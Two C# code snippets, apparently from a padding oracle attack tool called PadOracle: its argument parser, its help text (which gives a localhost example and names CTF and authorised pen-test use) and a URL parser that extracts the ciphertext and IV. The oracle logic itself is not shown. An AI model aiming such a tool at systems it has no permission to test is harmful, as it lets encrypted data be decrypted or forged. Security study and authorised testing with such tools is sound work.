Example #1
0
        static void Main(string[] args)
        {
            // TODO: Add parameters for different frequency trial sequences. English - other language?
            //       JSON, XML, what else?
            // TODO: Add processing for other encodings? [What encodings?]
            // TODO: Parameter to choose what the padding error looks like (we accept any error status, or the string "paddingexception").
            // TODO: Cookies, UserAgent, AuthZ header, POST with content, custom headers, interrupt/resume
            // TODO: Logging input & output; interrupt / resume.
            string     baseUrl = null, cipherReg = null, ivReg = null;
            string     encryptMe    = null;
            string     exceptString = null;// "paddingexception";
            int        blocksize    = 16;
            bool       bShowStats   = false;
            int        parallelism  = -1;
            POEncoding encoding     = POEncoding.b64;

            try
            {
                for (int i = 0; i < args.Length; i++)
                {
                    string flag = null;
                    if (args[i][0] == '-' && args[i].Length > 1)
                    {
                        if (args[i][1] == '-')
                        {
                            flag = args[i].Substring(2).ToLower();
                        }
                        else
                        {
                            flag = args[i].Substring(1).ToLower();
                        }
                    }

                    bool bLastArg        = args.Length == i + 1;
                    bool bMaybeParameter = !bLastArg && args[i + 1][0] != '-';
                    switch (flag)
                    {
                    default:     // No option specified, this must be the base URL.
                        baseUrl = args[i];
                        // TODO: Validate that this looks like a URL we can use. Right now, we assume this'll trigger a later exception.
                        break;

                    case "c":
                    case "cipher":
                        if (bMaybeParameter)
                        {
                            // TODO: slightly more sophisticated check for what a valid ciphertext is.
                            cipherReg = args[++i];
                        }
                        else
                        {
                            throw new ArgumentException("-c requires a following parameter that's a regex for the ciphertext in the base URL.");
                        }
                        break;

                    case "i":
                    case "iv":
                        if (bMaybeParameter)
                        {
                            ivReg = args[++i];
                        }
                        else
                        {
                            throw new ArgumentException("-i requires a following parameter that's a regex for the iv in the base URL");
                        }
                        break;

                    case "0":
                    case "iv0":
                    case "noiv":
                        ivReg = "0";     // Special 'magic' value for all-zeroes IV.
                        break;

                    case "b":
                    case "blocksize":
                        if (!bMaybeParameter || !int.TryParse(args[++i], out blocksize))
                        {
                            throw new ArgumentException("-b requires a blocksize - normally 16, 32, etc");
                        }
                        break;

                    case "t":
                    case "textencoding":
                    case "encoding":
                        if (!bMaybeParameter || !Enum.TryParse <POEncoding>(args[++i], out encoding))
                        {
                            throw new ArgumentException("I'm not able to recognise that encoding type as one that I know.");
                        }
                        break;

                    case "e":
                    case "encrypt":
                        if (!bMaybeParameter)
                        {
                            throw new ArgumentException("-e requires a parameter of the string to encrypt!");
                        }
                        encryptMe = args[++i];
                        break;

                    case "v":
                    case "verbose":
                        bShowStats = true;
                        break;

                    case "p":
                    case "parallelism":
                        if (!bMaybeParameter || !int.TryParse(args[++i], out parallelism))
                        {
                            throw new ArgumentException("-p requires an integer parameter of maximum number of threads. -1 (max parallelism) and 1 (no parallelism) are good values.");
                        }
                        break;

                    case "x":
                    case "exceptiontext":
                        if (!bMaybeParameter)
                        {
                            throw new ArgumentException("-x requires a string parameter of a string to find in the result indicating a padding exception");
                        }
                        exceptString = args[++i];
                        break;

                    case "h":
                    case "help":
                        // Something a bit more than the usage message.
                        Console.WriteLine(@"PadOracle - padding oracle tool from [email protected]

Some encryption algorithms are vulnerable to padding oracle attacks. If that's
the case for your endpoint, this tool may be of use in attacking it.
I use this for CTFs (Capture The Flag), but there are also pen-test uses and
even some malicious uses. Don't use this tool maliciously, that's not its
designed purpose. Use it to win encryption-related CTF challenges, to exploit
sites that you have been given permission to do so, and to demonstrate, and
learn about, the failures of encryption that we cause.

The main parameter for this program is the URL we're going to connect to.
All other parameters have option names to indicate which parameter you're
setting.

Example:
padoracle ""http://localhost:31140/api/encrypted/submit?iv=A1BjZIyXQ1gOsWiUbaj3Kw%3d%3d&ciphertext=DUCLQSPu7788k6Xeijl6o3Xdhh%2ft%2b0V1QRpVkJF0Z7B8787y7LpbSe6iDUERWnGxc7sap3qLO1XNae0MhjlenhdEc64fi6dmtmJl8bM0nuVJmV%2f8LRfZ4%2fW%2f3FFusuvsAwoMU%2fwvaPYSvNZmxfnck5DgcL5PlXG68xGEX8usqZ1cORe8zyzh50Hoj446%2f4386OMr7%2fPA9%2bpars6L7zVvag%3d%3d"" -t b64 -c DUCLQSP.*Vvag%3d%3d -i A1BjZIyXQ1gOsWiUbaj3Kw%3d%3d

Note that the URL is in quotes, because of the ""&"" character, which would
otherwise cause issues.
Other parameters here:
-t b64                  - encoding type is base64, URL encoded
-c DUCLQSP.*Vvag%3d%3d  - cipher text regex begins 'DUCLQSP', ends 'Vvag%3d%3d'.
-i A1Bj...              - Initialisation vector is provided in full, rather than as a regex

Encoding types:
b64 - base64, URL-encoded
b64URL - URL-safe base64 (uses '!', '-', and '~' instead of '/', '+', '=') - not URL-encoded
hex - lower-case hex
HEX - upper-case hex
");
                        // Maybe one day, NET64 - base64, but with '_', '-', and ending in a count of how many '=' chars.
                        Environment.Exit(0);     // Quit without doing!
                        break;
                    }
                }
                // Check for required arguments
                if (baseUrl == null)
                {
                    throw new ArgumentException("No base URL supplied - I won't know where to send my encryption attempts");
                }
                if (cipherReg == null)
                {
                    throw new ArgumentException("No cipher regex supplied - not sure which part of the URL is ciphertext");
                }
                // Defaults: encoding is base64; blocksize is 16; iv is the first block of the ciphertext.
                // -1 for parallelism, so lots of parallel
            }
            catch (ArgumentException x)
            {
                Console.WriteLine(x.Message);
                Usage();
                Environment.Exit(1); // Quit
            }

            UrlParser   parser = new UrlParser(baseUrl, cipherReg, ivReg, blocksize, encoding);
            CryptTarget target = new CryptTarget(parser);

            target.ParallelThreads = parallelism;
            target.Verbose         = bShowStats;
            target.ExceptString    = exceptString;
            if (encryptMe == null)
            {
                Console.WriteLine("Beginning decryption of ciphertext. This may take some time.");
                string decrypted = target.Decrypt();
                Console.WriteLine($"Decrypted string is:\n{decrypted}");
            }
            else
            {
                Console.WriteLine("Beginning encryption of plaintext. This may take a very long time.");
                string encrypted = target.Encrypt(encryptMe);
                Console.WriteLine($"Encrypted string in URL is:\n{encrypted}");
            }
            Environment.Exit(0); // Quit.
        }
Example #2
0
        public UrlParser(string baseUrl,
                         string cipherReg,
                         string ivReg,
                         int blocksize,
                         POEncoding encoding)
        {
            _blocksize = blocksize;
            string ivString = null, cipherString;

            _bSeparateIV = true;
            _encoding    = encoding;
            if (String.IsNullOrEmpty(cipherReg))
            {
                throw new ArgumentException("I don't know where to phind the ciphertext.");
            }
            Regex           reCipher = new Regex(cipherReg);
            MatchCollection matches  = reCipher.Matches(baseUrl);

            if (matches.Count < 1)
            {
                throw new ArgumentException("I can't find any occurrences of the ciphertext in the URL you gave me. Is your regex busted?");
            }
            if (matches.Count > 1)
            {
                throw new ArgumentException("I found more than one section of the URL that matches the ciphertext you provided. I can't work like that!");
            }
            cipherString = matches[0].Value;

            if (!String.IsNullOrEmpty(ivReg))
            {
                if (ivReg.Equals("0"))                             // Special "magic" value.
                {
                    ivString = EncodeCipher(new byte[_blocksize]); // All zeroes.
                }
                else
                {
                    Regex reIV = new Regex(ivReg);
                    matches = reIV.Matches(baseUrl);
                    // It's OK not to find the IV, it means the IV is supplied explicitly and isn't in the URL.
                    if (matches.Count > 1) // This isn't OK.
                    {
                        throw new ArgumentException("I found more than one section of the URL that matches the IV you provided. That won't work.");
                    }
                    else if (matches.Count == 1)
                    {
                        ivString = matches[0].Value;
                    }
                }
            }

            if (!String.IsNullOrEmpty(ivString))
            {
                _strUrlFormat   = baseUrl.Replace(cipherString, "{0}").Replace(ivString, "{1}"); // It's OK if ivString isn't in baseUrl!
                _originalCipher = DecodeCipher(ivString).Concat(DecodeCipher(cipherString)).ToArray();
            }
            else
            {
                _bSeparateIV    = false;
                _strUrlFormat   = baseUrl.Replace(cipherString, "{0}");
                _originalCipher = DecodeCipher(cipherString);
            }
            Reset();
        }